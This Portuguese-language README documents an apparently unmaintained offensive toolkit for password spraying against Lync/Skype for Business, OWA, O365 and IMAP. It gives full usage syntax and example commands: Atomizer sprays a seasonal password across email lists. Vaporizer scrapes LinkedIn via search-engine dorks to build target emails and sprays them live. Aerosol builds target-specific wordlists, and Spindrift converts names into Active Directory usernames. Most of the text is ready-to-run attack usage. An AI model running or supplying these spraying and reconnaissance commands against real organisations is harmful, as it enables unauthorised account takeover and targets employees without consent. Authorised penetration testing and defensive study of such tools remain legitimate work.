
Scripts para tornar ataques de password spraying contra Lync/S4B, OWA e O365 muito mais rápidos, menos dolorosos e mais eficientes.
Este projeto não é mais mantido. Os seguintes projetos alternativos são melhores e são mantidos ativamente:
Um conjunto de scripts/utilitários Python que tenta tornar os ataques de password spraying contra Lync/S4B e OWA muito mais rápidos, menos dolorosos e mais eficientes.
Venha conversar no Discord!
Instale os pré-requisitos com pip3 da seguinte forma:
sudo -H pip3 install -r requirements.txt
Ou use um ambiente virtual Python se você não quiser instalar os pacotes globalmente.
Um sprayer de senhas extremamente rápido para Lync/Skype For Business e OWA, construído sobre Asyncio e Python 3.7
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
./atomizer.py owa contoso.com 'Fall2018' emails.txt
./atomizer.py lync contoso.com 'Fall2018' emails.txt
./atomizer lync contoso.com --csvfile accounts.csv
./atomizer lync contoso.com --user-as-pass usernames.txt
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
Uma adaptação da extensão Burp GatherContacts de @OrOneEqualsOne para mitmproxy com algumas melhorias.
Faz scraping no Google e no Bing em busca de perfis do LinkedIn, gera automaticamente e-mails a partir dos nomes dos perfis usando o padrão especificado e realiza password sprays em tempo real.
(Construído sobre o Atomizer)
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'
Por padrão, email_format é configurado com o padrão {first}.{last} e não é um argumento obrigatório.
O parâmetro domain é o domínio a ser usado para gerar e-mails a partir dos nomes; o parâmetro target é o domínio ou URL para o password spray.
Instale o certificado do mitmproxy, configure o proxy no seu navegador, vá ao Google e/ou Bing e pesquise (certifique-se de incluir o /in):
site:linkedin.com/in "Target Company Name"
Os e-mails serão gravados em emails.txt no formato especificado e passados para o Atomizer para o password spraying.
Extrai todo o texto do site alvo e o envia para o AWS Comprehend para análise, a fim de gerar wordlists personalizadas para password spraying.
Ainda em desenvolvimento
mitmdump -s aerosol.py --set domain=domain.com
Converte nomes em nomes de usuário do Active Directory (ex.: Alice Eve => CONTOSO\aeve)
Usage:
spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]
Arguments:
file file containing names, can also read from stdin
Options:
--target TARGET optional domain or url to retrieve the internal domain name from OWA
--domain DOMAIN manually specify the domain to append to each username
--format FORMAT username format [default: {f}{last}]
Lê nomes da STDIN; --domain é usado para especificar o domínio manualmente:
cat names.txt | ./spindrift.py --domain CONTOSO
Lê nomes de names.txt; --target obtém dinamicamente o nome do domínio interno do OWA (você pode fornecer um domínio ou URL):
./spindrift.py names.txt --target contoso.com